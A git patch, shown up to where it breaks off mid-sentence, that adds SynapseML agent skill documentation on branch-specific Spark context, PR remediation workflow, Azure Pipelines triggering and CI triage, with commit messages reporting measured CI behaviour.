Copilot <223556219+Copilot@users.noreply.github.com> * docs: correct two CI claims in the merge-ready skill from measured evidence Two statements in the new skill would send an agent down a path I measured as wrong while getting the spark4.0 and spark4.1 sync PRs green. "Push the exact validated head and comment /azp run" does not work for PRs targeting the port branches. The Azure Pipelines definition's pull-request trigger is defined in the pipeline UI with a branch filter of +master, and a UI-defined trigger overrides the pr: block in pipeline.yaml entirely, so the YAML listing the port branches has no effect. /azp run on such a PR silently does nothing -- no build queues and no error is reported -- which reads as "CI triggered" and then as "CI pending" forever. Replace it with: trigger, then confirm a build actually queued, and queue against refs/pull/N/merge when the target is not covered. Cite the build ID, since a comment is not evidence a build ran. CI triage described the four failure categories but not how to read a job result, and the mechanics are not binary. A filter of result -eq "succeeded" reports phantom failures, because succeededWithIssues is a normal outcome when a non-gating task -- usually dependency caching or TLS -- warns while every test passes. I hit exactly this and briefly reported a passing job as failed. It also cuts the other way: succeededWithIssues on a task that runs or publishes tests is a real failure. Add a section saying to identify the warning task and read published test results rather than trusting the badge in either direction. Same section records the harder lesson: compare per-test outcomes across builds. A fix that changes nothing leaves the same tests failing the same way, and a job-level summary hides that. Two changes I believed were fixes turned out to be placebos under that comparison. Also drop the remaining version numbers, matching the previous commit -- "spark4.x" becomes "spark" and "Spark 4.1 compatibility" becomes "port-branch compatibility", so adding a branch does not require editing these files. Verified: no version token remains in the skill, and both sibling skill links resolve. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> * docs: paginate the readiness script and harden its input handling Review feedback on the script, verified case by case rather than applied wholesale. A readiness tool that under-reports is worse than no tool, so the truncation issues were the ones worth fixing properly. Pagination. The GraphQL query capped reviewThreads at 100, per-thread comments at 20 and reviews at 50, with no pageInfo, so a large PR would silently report fewer unresolved threads than it has -- reading as "review is clean" when it is not. That is the false-green pattern the skill itself tells you to reject. Both connections are now fully paginated through a shared helper, and the emitted JSON carries a completeness object with page counts and any thread whose comments were still truncated, so an incomplete snapshot is visible instead of silent. The loop throws if a page claims hasNextPage without returning a cursor rather than spinning forever. Suppressed-comment detection was an exact case-sensitive match on "Suppressed comments", which silently drops the signal the script exists to surface if GitHub varies the wording. Now a case-insensitive match. Repo validation accepted "owner/name/extra", because Split("/", 2) always yields two parts when a slash is present. Now requires exactly two non-empty segments and reports the offending value. Renamed the helper's local $args to $ghArgs; $args is an automatic variable inside a function and assigning to it is a trap for later edits. Two review points I did not treat as defects: statusCheckRollup was reported as an object whose checks live under .contexts. That is the GraphQL shape, but `gh pr view --json` flattens it. Measured: it returns Object[] of 13 CheckRun entries with name/status/conclusion. Verified the existing filter against a PR that genuinely fails and it returned exactly [Review Dependencies], matching `gh pr checks`. Left as is -- an all-green PR would not have proven this either way. The unescaped base ref in the compare URL was reported as breaking on branches containing "/". It does not: the API accepts sync/spark4.1-with-master-2 unescaped and returns the same result as the encoded form. Kept the encoding anyway as defensive, but it fixes no observed failure. Verified: parses clean, and runs against three PRs producing counts that match independent REST pagination. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> * docs: rename merge readiness skill to SynapseML PR loop ## Summary Rename the reusable skill and its directory from synapseml-merge-ready to synapseml-pr-loop, then update the AGENTS.md activation link. ## Prompting Intent The engineer asked for a clearer, more understandable skill name that describes the recurring SynapseML pull-request remediation loop. ## Linked Sources - Pull request: https://github.com/microsoft/SynapseML/pull/2649 - Follow-up context: https://github.com/microsoft/SynapseML/pull/2648 ## Rationale SynapseML PR loop communicates the skill's repeatable issue/PR workflow more directly than the outcome-oriented merge-ready name while preserving all existing progressive-disclosure content and behavior. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> * docs: complete the SynapseML PR loop guidance ## Summary Add the remaining concise instructions needed for repeatable PR remediation: audit historical review feedback, verify published artifacts ship the capability, update public documentation without editing generated files, and safely validate external services. ## Prompting Intent The engineer asked for the SynapseML PR loop to contain all recurring instructions and checklists so future merge-readiness requests do not require repeated guidance, while keeping the skill terse. ## Linked Sources - Pull request: https://github.com/microsoft/SynapseML/pull/2649 - Original guide: https://github.com/microsoft/SynapseML/pull/2648 ## Rationale Keep the main workflow at 114 lines and place detailed exit, CI, and Spark checks in focused references. The added bullets close material workflow gaps without duplicating those references. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> * docs: add PR lifecycle gates to the SynapseML loop ## Summary Require the PR loop to inspect recently closed related work, remediate or close follow-ups, reconcile linked issues after merges, and keep PR titles and descriptions current and human-readable. ## Prompting Intent The engineer asked the reusable skill to complete lifecycle action items around closed PRs and issues, including rebasing valuable follow-ups, closing superseded work, and maintaining clear PR metadata without making the skill verbose. ## Linked Sources - Pull request: https://github.com/microsoft/SynapseML/pull/2649 - Original guide: https://github.com/microsoft/SynapseML/pull/2648 ## Rationale Add short workflow instructions plus matching exit gates so lifecycle cleanup and reviewer-facing metadata are enforced, while keeping deeper readiness details in the existing references. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> * docs: add reusable SynapseML branch context ## Summary Add a concise synapseml-branch skill with focused master, spark3.5, spark4.0, spark4.1, and fallback references. Wire AGENTS.md and the PR loop to resolve context from the PR base branch and add historical false-confidence gates. ## Prompting Intent The engineer asked to mine prior SynapseML PRs and Copilot sessions for durable lessons, make agent responsibilities and repeated checks explicit, provide branch-specific shared context, and ensure agents fall back to it without bloating the main PR loop. ## Linked Sources - Pull request: https://github.com/microsoft/SynapseML/pull/2649 - Branch CI coverage: https://github.com/microsoft/SynapseML/pull/2644 - Spark 4.1 synchronization: https://github.com/microsoft/SynapseML/pull/2617 - Compatibility replay fix: https://github.com/microsoft/SynapseML/pull/2611 - Compatibility identity fix: https://github.com/microsoft/SynapseML/pull/2608 - Orphaned test-suite coverage: https://github.com/microsoft/SynapseML/pull/2622 ## Rationale Use .github/skills because branch-local .agents guidance identifies it as authoritative. Keep common decision logic in one small skill, isolate volatile branch facts in references, derive context from the PR base rather than feature-branch names, and require live build/CI verification so historical notes cannot become stale authority. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> * fix: harden PR readiness snapshots ## Summary Handle GraphQL errors and missing data explicitly, reject non-advancing cursors, classify stale checks as failures, emit a stable JSON array shape, and warn that review content must remain local or be redacted. ## Prompting Intent The engineer asked agents to double- and triple-check the reusable PR loop. The loop's own final snapshot surfaced active and suppressed Copilot findings that needed to be fixed before the skill could be considered reliable. ## Linked Sources - Pull request: https://github.com/microsoft/SynapseML/pull/2649 - GraphQL error review: https://github.com/microsoft/SynapseML/pull/2649#discussion_r3793556578 - Stale-check review: https://github.com/microsoft/SynapseML/pull/2649#discussion_r3793556592 - Snapshot privacy review: https://github.com/microsoft/SynapseML/pull/2649#discussion_r3793556609 ## Rationale A readiness collector must fail closed and preserve a stable machine-readable contract. Explicit errors, cursor progress checks, stale-signal blocking, array output, and local/redacted evidence prevent false-green or accidental disclosure outcomes. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> * docs: template Spark branch context from sync PRs ## Summary Refactor the Spark 4 branch references into a shared template plus concise spark4.0 and spark4.1 overlays derived from PRs 2646 and 2645. Preserve their core toolchain, codegen, R, Databricks, Fabric, CI, failure-triage, and porting differences. ## Prompting Intent The engineer asked to validate that the new branch-specific skills are templatized versions of PRs 2645 and 2646, while retaining the important differences so those sync PRs can be updated later. ## Linked Sources - Pull request: https://github.com/microsoft/SynapseML/pull/2649 - Spark 4.1 sync/context: https://github.com/microsoft/SynapseML/pull/2645 - Spark 4.0 sync/context: https://github.com/microsoft/SynapseML/pull/2646 ## Rationale Extract shared Spark 4 responsibilities once, keep branch-only facts in small overlays, and add a reusable branch-reference template. This retains the operational knowledge from the long branch manuals without duplicating hundreds of lines or treating snapshot values as permanent truth. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> * docs: normalize SynapseML branch reference names ## Summary Rename the skill to synapseml-branches, normalize references to branch-spark3p5/branch-spark4p0/branch-spark4p1, and explicitly map both master and spark3.5 to the Spark 3.5 context while preserving their different sync policies. ## Prompting Intent The engineer requested branch-oriented filenames without dots, compliant Agent Skills naming/frontmatter, and a clear mapping in the skill showing that master currently uses the Spark 3.5 baseline. ## Linked Sources - Pull request: https://github.com/microsoft/SynapseML/pull/2649 - Spark 4.1 context source: https://github.com/microsoft/SynapseML/pull/2645 - Spark 4.0 context source: https://github.com/microsoft/SynapseML/pull/2646 ## Rationale Use predictable branch- filenames, pluralize the routing skill because it covers multiple targets, and share one Spark 3.5 reference while distinguishing canonical master development from the shared spark3.5 release branch. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> * docs: /azp run now queues port-branch builds; correct the guidance I documented the opposite earlier today, and the pipeline trigger has since been fixed, so the guidance is now wrong in the direction that costs the most: an agent reading it would skip /azp run entirely and hand-queue every build. Measured before changing the text. Commenting /azp run on the two port-branch PRs produced builds 231455958 and 231455959, both recording reason=pullRequest and requestedFor=GitHub, where every build queued by hand beforehand recorded reason=manual under a personal account. The definition's pullRequest trigger filter now reads +master | +spark3.5 | +spark4.0 | +spark4.1. That reason field is the part worth writing down. A trigger-driven build and a hand-queued one are otherwise indistinguishable in the UI, so it is the cheapest way to answer "did my comment actually do anything" -- and the skill already insists a comment is not evidence a build ran. The UI-overrides-YAML explanation stays, demoted from cause to diagnostic: it remains the first thing to check when a comment produces no build, because that failure mode is completely silent -- no error, no build, no feedback anywhere. The merge-ref fallback stays for that case, along with the warning against queueing refs/heads/, which validates the branch rather than the merge result. The branch reference previously hedged with "historically did not queue ... verify live behavior". Now that it has been verified, it states the current filter and the date, so the next reader does not have to re-derive it. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> --------- Co-authored-by: SynapseML CI Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> --- .github/skills/synapseml-branches/SKILL.md | 57 ++ .../references/branch-fallback.md | 14 + .../references/branch-spark3p5.md | 31 + .../references/branch-spark4-common.md | 59 ++ .../references/branch-spark4p0.md | 43 ++ .../references/branch-spark4p1.md | 43 ++ .../references/branch-template.md | 18 + .github/skills/synapseml-pr-loop/SKILL.md | 144 +++++ .../synapseml-pr-loop/references/ci-triage.md | 75 +++ .../references/readiness-gates.md | 87 +++ .../references/spark-performance.md | 46 ++ .../scripts/Get-PrReadiness.ps1 | 211 +++++++ AGENTS.md | 534 +++++------------- CONTRIBUTING.md | 9 +- 14 files changed, 983 insertions(+), 388 deletions(-) create mode 100644 .github/skills/synapseml-branches/SKILL.md create mode 100644 .github/skills/synapseml-branches/references/branch-fallback.md create mode 100644 .github/skills/synapseml-branches/references/branch-spark3p5.md create mode 100644 .github/skills/synapseml-branches/references/branch-spark4-common.md create mode 100644 .github/skills/synapseml-branches/references/branch-spark4p0.md create mode 100644 .github/skills/synapseml-branches/references/branch-spark4p1.md create mode 100644 .github/skills/synapseml-branches/references/branch-template.md create mode 100644 .github/skills/synapseml-pr-loop/SKILL.md create mode 100644 .github/skills/synapseml-pr-loop/references/ci-triage.md create mode 100644 .github/skills/synapseml-pr-loop/references/readiness-gates.md create mode 100644 .github/skills/synapseml-pr-loop/references/spark-performance.md create mode 100644 .github/skills/synapseml-pr-loop/scripts/Get-PrReadiness.ps1 diff --git a/.github/skills/synapseml-branches/SKILL.md b/.github/skills/synapseml-branches/SKILL.md new file mode 100644 index 00000000000..c896fb6510d --- /dev/null +++ b/.github/skills/synapseml-branches/SKILL.md @@ -0,0 +1,57 @@ +--- +name: synapseml-branches +description: >- + Resolve SynapseML branch-specific rules, runtime baselines, sync policy, and + CI expectations. Use before editing, rebasing, merging, testing, or declaring + readiness for master, spark3.5, spark4.0, spark4.1, port/sync branches, or a PR + whose base branch determines behavior. +compatibility: SynapseML repository with git and GitHub CLI. +--- + +# SynapseML branch context + +Use the PR base branch as the context. A feature branch name does not determine +the runtime, sync policy, or CI that must pass. + +## Workflow + +1. Read root `AGENTS.md`. +2. Resolve the target: + - For a PR, read `baseRefName` from GitHub. + - For direct branch work, use the checked-out shared branch. +3. Load the mapped reference. Filenames use `p` for the version decimal: + - `master` -> + [branch-spark3p5.md](references/branch-spark3p5.md). `master` is currently + the canonical Spark 3.5 development baseline. + - `spark3.5` -> + [branch-spark3p5.md](references/branch-spark3p5.md). This is the shared + Spark 3.5 release branch. + - `spark4.0` -> + [branch-spark4p0.md](references/branch-spark4p0.md). + - `spark4.1` -> + [branch-spark4p1.md](references/branch-spark4p1.md). + - Any other target -> + [branch-fallback.md](references/branch-fallback.md). +4. Verify every version, dependency, trigger, skip, and test command against + that branch's live `build.sbt`, `environment.yml`, workflows, and + `pipeline.yaml`. References are decision guides, not stale-value authority. +5. Recheck branch context at three points: before implementation, before + validation, and immediately before push/readiness. Target movement or a + changed base invalidates earlier evidence. + +## Responsibilities + +- Ordinary PRs rebase onto their latest target with `--force-with-lease`. +- Shared port branches receive `master` by merge; never rebase or force-push + the shared branch. +- For conflict resolution, compare merge base, `master`, and port branch; + ancestry alone does not prove both sides survived. +- Inspect CI definitions on the target branch and confirm builds actually + queued. Never infer port-branch coverage from `master`. +- Confirm the relevant suites ran by test result/class, not only job status. +- Treat `.github/skills/` as authoritative. `.agents/` is compatibility-only + and may contain stale copies. +- If no exact reference exists, follow the fallback, state uncertainty, and + add a concise reference from the + [branch template](references/branch-template.md) when the branch is an active + supported target. diff --git a/.github/skills/synapseml-branches/references/branch-fallback.md b/.github/skills/synapseml-branches/references/branch-fallback.md new file mode 100644 index 00000000000..d7cb24b9ca3 --- /dev/null +++ b/.github/skills/synapseml-branches/references/branch-fallback.md @@ -0,0 +1,14 @@ +# Unlisted target branch + +- Determine whether the target is an ordinary feature branch, a shared port + branch, a release branch, or an automation branch. +- Read its live build files, workflows, pipeline triggers, recent sync PRs, and + open/closed PRs targeting it. +- Do not guess versions, supported environments, merge policy, or CI coverage + from the branch name. +- Rebase ordinary PRs; merge into shared branches unless repository history + proves a different maintained policy. +- Confirm actual queued checks and per-test execution. +- State unresolved branch-specific uncertainty as a blocker. If the target is + actively supported, add a focused reference using + [branch-template.md](branch-template.md) before claiming readiness. diff --git a/.github/skills/synapseml-branches/references/branch-spark3p5.md b/.github/skills/synapseml-branches/references/branch-spark3p5.md new file mode 100644 index 00000000000..274195dffb8 --- /dev/null +++ b/.github/skills/synapseml-branches/references/branch-spark3p5.md @@ -0,0 +1,31 @@ +# Spark 3.5 branch context + +This reference intentionally serves both `master` and `spark3.5`. + +## Branch mapping + +- `master` is the canonical development branch and currently uses the Spark 3.5 + runtime family. Ordinary features and fixes target `master`. +- `spark3.5` is the shared Spark 3.5 release branch. It can differ from + `master` despite using the same Spark generation. +- Always verify exact Spark/Scala versions and dependency pins in the target + branch's live `build.sbt` and `environment.yml`. + +## Sync policy + +- PRs targeting `master` rebase onto latest `master` and push with lease. +- Synchronize the shared `spark3.5` branch by merging `master`; never rebase or + force-push that shared ref. +- Cross-version work lands on `master` first unless it exists only to preserve + the release branch. + +## Validation + +- Master validation covers the primary Spark 3.5 runtime, so compatibility + replay can intentionally omit a duplicate Spark 3.5 leg. This does not waive + direct CI for PRs targeting the `spark3.5` branch. +- Inspect workflows and Azure triggers on the actual target branch; historical + GitHub coverage for `spark3.5` differed from `master`. +- Confirm the affected suites were selected and executed. Green matrices can + omit an unclaimed package or explicit test class. +- Recheck target movement immediately before readiness. diff --git a/.github/skills/synapseml-branches/references/branch-spark4-common.md b/.github/skills/synapseml-branches/references/branch-spark4-common.md new file mode 100644 index 00000000000..e5ee44bef73 --- /dev/null +++ b/.github/skills/synapseml-branches/references/branch-spark4-common.md @@ -0,0 +1,59 @@ +# Shared Spark 4 branch context + +Condensed from the branch guides developed in +[#2645](https://github.com/microsoft/SynapseML/pull/2645) and +[#2646](https://github.com/microsoft/SynapseML/pull/2646). Verify every item +against the live target branch. + +## Purpose and sync + +- Spark 4 branches are maintained ports, not feature branches. Land ordinary + work on `master`, then merge it into the port branch. +- Resolve conflicts per hunk and compare content with the merge base and + `master`; blanket `ours`/`theirs` and reachability are insufficient. +- Diff `spark4.0` and `spark4.1` before debugging or merging. Shared fixes often + already exist on the sibling branch, but version-specific changes must not be + copied blindly. + +## Common deliberate differences from master + +- Spark 4 uses Scala 2.13 and Java 17-era tooling. Preserve branch-specific + dependency comments, Java configuration, and removal of obsolete CMS flags. +- Scala 2.13 collection boundaries must produce immutable `Seq` values; keep + the central `asImmutableCollection` conversion rather than per-service fixes. +- Preserve Spark 4 adaptations for SAR encoders/self-joins, + `Wrappable.safeGetDefault`, and the non-NaN classifier fixture. +- `OpenAIPrompt` is an internal generated wrapper. Generated overrides use + zero-argument `super()` because the public class name is not in that module. +- `PythonInitMerger` makes hand-written `__init__.py` files live package code. + Keep the HTTP initializer empty, remove duplicate generated exports, and do + not narrow `__all__` with hand-maintained class lists. +- R generation requires ANSI double-quoted identifiers, the validated sparklyr + 1.9.5 pin from the PR snapshots, `SPARK_HOME` connection behavior, and JVM + loading of nested stages. Interleaved failures with successful tests between + them point to selection/proxy behavior, not a dead Spark session; read the + backtrace. + +## Runtime and CI + +- Spark 4 Databricks builds share scarce GPU capacity. Queue them sequentially + and use sibling-branch timing/results as a control before blaming capacity. +- `areLibrariesInstalled == false` can mean install timeout rather than a + failed library. Read statuses and notebook duration before classifying it. +- `/azp run` queues these targets. The ADO pull-request trigger filter allowed + only `master` until 2026-08-17; it now covers `master`, `spark3.5`, + `spark4.0` and `spark4.1`, verified by builds recording `reason=pullRequest` + rather than `reason=manual`. If a comment produces no build, re-read the + definition's trigger filter before assuming flakiness, and fall back to + queueing the PR merge ref, never `refs/heads/`. +- GitHub checks compile/lint but do not replace full Azure, Databricks, native, + R, or service validation. +- Intermittent ONNX OOM and R package HTTP failures require log evidence and a + controlled rerun; they are not automatic product regressions or exemptions. + +## Before merging a sync + +1. Recheck the target's live versions, pins, triggers, and skips. +2. Prove master content survived conflict resolution. +3. Run full Azure validation without a concurrent Spark 4 build. +4. Diff the sibling Spark 4 branch and explain every remaining difference. diff --git a/.github/skills/synapseml-branches/references/branch-spark4p0.md b/.github/skills/synapseml-branches/references/branch-spark4p0.md new file mode 100644 index 00000000000..4f16dc35868 --- /dev/null +++ b/.github/skills/synapseml-branches/references/branch-spark4p0.md @@ -0,0 +1,43 @@ +# `spark4.0` + +Read [branch-spark4-common.md](branch-spark4-common.md) first. This is a condensed, +templatized version of the branch context from +[#2646](https://github.com/microsoft/SynapseML/pull/2646). + +## Purpose and baseline + +- Shared Spark 4.0 port. At the #2646 snapshot it used Spark 4.0.1, + Scala 2.13.16, Java 17, Python 3.12, and Databricks 17.3; verify live files. +- Check `spark4.1` before debugging from scratch because it is the more actively + maintained descendant, then prove any candidate fix is not 4.1-specific. + +## Core differences + +- Keep NumPy 1.26.4 pinned: Python 3.12 has wheels and pandas 2.0.3 is not + compatible with the NumPy 2 ABI. +- Do not copy Python 3.13 petastorm/cloudpickle shims without branch evidence. +- `LongOffset` remains under `...execution.streaming`, not `.runtime`. +- Spark 4.0 returns `bytearray` for Python `BinaryType`; it does not require the + 4.1 `np.frombuffer` workaround. +- Preserve the Spark 4 R fixes shared with 4.1. The branch-local `JAVA_HOME` + fallback is extra; nested-stage loading was alignment, not proven root cause. + +## Runtime and CI + +- Fabric E2E remains disabled because Fabric has no managed Spark 4.0 runtime. +- At #2646, two GPU fine-tune notebooks failed because no Horovod wheel matched + DBR 17.3's PyTorch. Do not switch to DBR 18 merely to turn them green; that + would test Spark 4.1 instead of this branch. Revalidate this known gap. +- Avoid pinning runtime-provided torch/torchvision without a demonstrated need; + incompatible pins can trigger multi-gigabyte CUDA downgrades and timeouts. +- A sub-minute GPU notebook failure occurs during dependency setup, before + training. Use run timing and stderr rather than attributing it to the model. +- Confirm target-branch automation actually queued; this branch historically + had no PR checks even when `master` contained corrected filters. + +## Do not port from `spark4.1` + +- 4.1 `LongOffset` import, BinaryType `np.frombuffer` workaround, Python 3.13 + shims, unpinned NumPy, or version strings. +- Fabric Runtime 2.0 enablement. +- Any runtime/dependency change whose only evidence is a green 4.1 build. diff --git a/.github/skills/synapseml-branches/references/branch-spark4p1.md b/.github/skills/synapseml-branches/references/branch-spark4p1.md new file mode 100644 index 00000000000..0ab20ffaf35 --- /dev/null +++ b/.github/skills/synapseml-branches/references/branch-spark4p1.md @@ -0,0 +1,43 @@ +# `spark4.1` + +Read [branch-spark4-common.md](branch-spark4-common.md) first. This is a condensed, +templatized version of the branch context from +[#2645](https://github.com/microsoft/SynapseML/pull/2645). + +## Purpose and baseline + +- Shared Spark 4.1 port and the more actively maintained Spark 4 reference. At + the #2645 snapshot it used Spark 4.1.1, Scala 2.13.17, Java 17, Python 3.13, + and Databricks 18.0; verify live files. +- Ask whether every non-4.1-specific fix should be back-ported to `spark4.0`. + +## Core differences + +- Python 3.13 requires newer wheels, an intentionally unpinned NumPy, and the + petastorm/cloudpickle/Horovod compatibility shims. Preserve explanatory pin + comments through syncs. +- `LongOffset` moved to `...execution.streaming.runtime`; the 4.0 import does + not compile here. +- Spark 4.1 returns Python `bytes` for `BinaryType`; `ImageTransformer` uses + `np.frombuffer` because `np.asarray` treats `bytes` as a scalar string. +- `RCodegenSuite` directly guards generated R behavior, including nested-stage + loading and the Spark 4 ANSI settings. + +## Runtime and CI + +- Fabric Runtime 2.0 supports Spark 4.1, so the old "unsupported runtime" + reason for disabling Fabric E2E is stale. Re-enable only in a dedicated PR: + request Spark 4.1 in workspace creation, restore the pipeline condition, and + validate with real Fabric capacity/service connection. +- Databricks CPU/GPU validation uses 18.x-era runtimes. Run Spark 4 builds + sequentially because the GPU pool is shared. +- `DatabricksCPUStreamingTests` was unscheduled pending capacity and notebook + work; verify rather than silently accepting the omission. +- Master compatibility replay commonly applies release-relevant patches here + and runs `test:compile`; it is not full branch validation. + +## Do not port to `spark4.0` + +- 4.1 `LongOffset` import, BinaryType workaround, Python 3.13 shims, unpinned + NumPy, Fabric 4.1 enablement, or version/runtime strings. +- Treat other changes as back-port candidates and validate them on real 4.0. diff --git a/.github/skills/synapseml-branches/references/branch-template.md b/.github/skills/synapseml-branches/references/branch-template.md new file mode 100644 index 00000000000..691ddc7c5ac --- /dev/null +++ b/.github/skills/synapseml-branches/references/branch-template.md @@ -0,0 +1,18 @@ +# Branch reference template + +Keep each branch file concise and use these headings: + +1. **Purpose and baseline sources** — what targets the branch and which live + files define versions. +2. **Sync policy** — merge/rebase direction and conflict rules. +3. **Differences from master** — only deliberate runtime or tooling deltas. +4. **Sibling-port rules** — what should and must not move between branches. +5. **Runtime and CI** — supported environments, intentional skips, triggering, + capacity, and required real-environment validation. +6. **Known failures** — evidence-backed current exceptions, with a reminder to + revalidate rather than normalize them forever. +7. **Before merge** — content comparison, target refresh, tests, and sibling + branch diff. + +Link shared material instead of copying it. Treat versions and known failures +as snapshots; verify them against the live target branch. diff --git a/.github/skills/synapseml-pr-loop/SKILL.md b/.github/skills/synapseml-pr-loop/SKILL.md new file mode 100644 index 00000000000..649fa1998c6 --- /dev/null +++ b/.github/skills/synapseml-pr-loop/SKILL.md @@ -0,0 +1,144 @@ +--- +name: synapseml-pr-loop +description: >- + Make one or more SynapseML issues or pull requests evidence-based merge-ready. + Use for "5/5 confidence", "200% ready", stale/outdated PR remediation, + rebase-and-test requests, resolving all review comments, or proving a feature + ships without correctness, compatibility, performance, or Spark regressions. +compatibility: >- + SynapseML repository with git, GitHub CLI, PowerShell, WSL/Linux, sbt, Python, + and network access to GitHub/Azure Pipelines. +--- + +# SynapseML PR loop + +Treat "5/5" or "200%" as an evidence standard, never a literal guarantee. +The exit condition is: the requested value is proven through the public API, +the current target is integrated, review is exhausted, and every required check +is complete and green. + +## Workflow + +### 1. Establish scope and isolation + +- Load the [branch context skill](../synapseml-branches/SKILL.md) using the PR + base branch. Recheck it before validation and immediately before final push. +- Read the issue, PR body, linked work items, commit history, changed files, + and every review thread/body, including resolved, outdated, minimized, and + suppressed comments. Verify prior resolutions rather than trusting status. +- Inspect formal review decisions, requested-change votes, ownership gates, and + coverage thresholds; resolved threads do not clear those blockers. +- Check recently merged/closed related PRs and issues. Identify follow-up PRs + needing rebase/remediation, superseded work to close, and remaining issue + action items; do not assume closure completed the feature lifecycle. +- Give each PR a dedicated worktree and branch. Parallelize independent PRs, + but identify overlapping files and required merge order first. +- Run + [scripts/Get-PrReadiness.ps1](scripts/Get-PrReadiness.ps1) + with `-PullRequest ` and retain its JSON locally as the initial + snapshot. It can contain review text; redact it before public sharing. + +### 2. Integrate the current target + +- Fetch the PR's target branch and rebase an ordinary PR before validation. +- Use `--force-with-lease`, never an unguarded force push. +- Merge, rather than rebase, shared `spark` port branches. +- Record target SHA, head SHA, merge base, ahead/behind counts, and conflicts. +- Compare the intended patch before and after rebase/conflict resolution. +- Fetch again immediately before the final push. If the target advanced, + integrate it and rerun affected validation. + +### 3. Define the value and regression contract + +- Keep the PR title and description aligned with the current scope. Lead with a + short human-readable change/value summary; put detailed design and validation + evidence afterward. Refresh both after material changes. +- State the user-visible bug or feature, supported/unsupported cases, default + behavior, compatibility contract, and measurable acceptance criteria. +- Trace the real public path: Scala stage, generated/hand-written Python, + schema, serialization, persistence, service/native boundary, and packaging. +- Confirm the published package actually contains the capability; local jars, + custom natives, or provider discovery do not prove that users receive it. +- Establish a baseline when failures, performance, or external systems are + involved. A passing new test is insufficient if the old behavior was never + shown to fail. + +### 4. Review and implement + +- Apply the [code-review skill](../code-review/SKILL.md). +- Resolve root causes, not only the reported line. Recheck sibling APIs and + language surfaces that share the same serializer, schema, parameter, or + native/service path. +- Preserve public JVM and serialized compatibility unless explicitly approved. +- Update user-facing documentation/examples for changed public behavior. Edit + Scala sources rather than generated files under `target/`. +- Follow the Spark and performance gates in + [references/spark-performance.md](references/spark-performance.md). +- Reply in the existing thread with the fix and evidence, then resolve it. + Re-audit after every push because new Copilot comments may appear. + +### 5. Add proof-oriented tests + +- Add a regression that fails before the fix and passes after it. +- Cover positive, negative, null/empty, boundary, schema, copy, save/load, and + Python/codegen behavior as applicable. +- Exercise the public transformer/estimator or request path end to end; helper + tests alone do not prove the feature ships. +- Use real hardware, native libraries, clusters, network families, or services + when the claim depends on them. Do not infer capability from configuration or + provider discovery alone. +- Before external service tests, audit resource creation/deletion and use only + authorized test resources. + +### 6. Validate locally and across branches + +- Use the [local setup skill](../synapseml-local-setup/SKILL.md) and its JDK + wrapper. +- Run the smallest targeted suites, compile, test compile, Scala style, pinned + Black, codegen, generated-wrapper checks, and relevant Python tests. +- Run release compatibility for every port branch affected by the change. +- Benchmark representative scale before/after when a hot path, network path, + accelerator, allocation pattern, or algorithmic complexity changes. + +### 7. Run and triage full CI + +- Push the exact validated head, comment `/azp run`, then confirm a build + actually queued -- a comment is not evidence that CI ran, so cite the build + ID. A trigger-driven build records `reason=pullRequest`; one you queued + yourself records `reason=manual`, which is the quickest way to tell whether + the trigger really fired or you merely re-ran it by hand. +- If no build appears, check the pipeline definition's own pull-request trigger + rather than assuming a transient failure. That trigger can be defined in the + pipeline UI, in which case it overrides the `pr:` block in `pipeline.yaml` + entirely and silently ignores targets the YAML lists. Read its branch filters + through the definitions API. Until the filter is corrected, queue explicitly + against `refs/pull//merge` -- never `refs/heads/`, which + validates the branch instead of the merge result. +- Inspect every failed, canceled, skipped, and pending job. Use + [references/ci-triage.md](references/ci-triage.md) to separate product + defects, test defects, baseline failures, and infrastructure failures. +- Fix product/test defects and rerun. Infrastructure classification requires + logs proving tests did not exercise the change; "looks flaky" is not evidence. +- If path filters or a CI-only diff bypass the behavior being repaired, validate + it with a representative product change or controlled integration PR. +- Do not declare readiness while any required check is pending. + +### 8. Final readiness loop + +Run `Get-PrReadiness.ps1` again and confirm every gate in +[references/readiness-gates.md](references/readiness-gates.md). + +For multiple PRs, after each merge: + +1. fetch the new target; +2. rebase overlapping downstream PRs; +3. rerun targeted, compatibility, and full CI; +4. re-audit review threads and suppressed comments. + +After any merge or closure, reconcile linked work: update or close fulfilled +issues, close superseded PRs with an explanation, and rebase/remediate still +valuable follow-ups. Preserve separate unresolved scope rather than closing it +for convenience. + +Report the exact remaining blocker. "Only human approval remains" is valid only +when all engineering gates are complete. diff --git a/.github/skills/synapseml-pr-loop/references/ci-triage.md b/.github/skills/synapseml-pr-loop/references/ci-triage.md new file mode 100644 index 00000000000..d290e8f61f2 --- /dev/null +++ b/.github/skills/synapseml-pr-loop/references/ci-triage.md @@ -0,0 +1,75 @@ +# CI triage + +Do not rerun a failed pipeline blindly. Preserve the job URL and first determine +which category the failure belongs to. + +## Product defect + +The changed code compiled or ran and produced an incorrect result, crash, +resource leak, performance regression, or incompatible API/schema. + +Action: reproduce locally or in the closest environment, add/strengthen the +regression test, fix, and rerun targeted plus full CI. + +## Test defect + +The product behavior is correct but the test has a race, wrong assumption, +unsafe cleanup, overly strict tolerance, environment-order dependence, or does +not test the public path. + +Action: fix the test without weakening the requirement. Demonstrate the product +behavior separately. + +## Baseline/pre-existing failure + +The same failure occurs on the target SHA or is unrelated to every changed path. + +Action: collect comparable target/head evidence. Do not silently ignore it; link +the tracking issue or repair it when tightly coupled. + +## Infrastructure failure + +Repository setup, capacity allocation, authentication, TLS, artifact download, +agent loss, or publishing failed before relevant tests ran. + +Action: cite the log line proving where execution stopped, verify no test result +was produced, and rerun. Repeated infrastructure failures still block readiness +when they prevent required evidence. + +## Reading job results correctly + +Azure Pipelines job results are not binary. A job can end as `succeeded`, +`succeededWithIssues`, `failed`, `canceled`, or `skipped`, and a triage filter +that accepts only `succeeded` will report phantom failures. + +`succeededWithIssues` most often comes from a non-gating task -- dependency +cache upload/download, TLS errors, artifact publishing -- while every test in +the job passed. Confirm by opening the job and finding which task raised the +warning, then read the published test results rather than trusting the job +badge in either direction: + +- If the warning is from a non-gating task and the test run is complete and + green, the job passed. Do not rerun it. +- If the warning is from a task that runs or publishes tests, treat it as a + 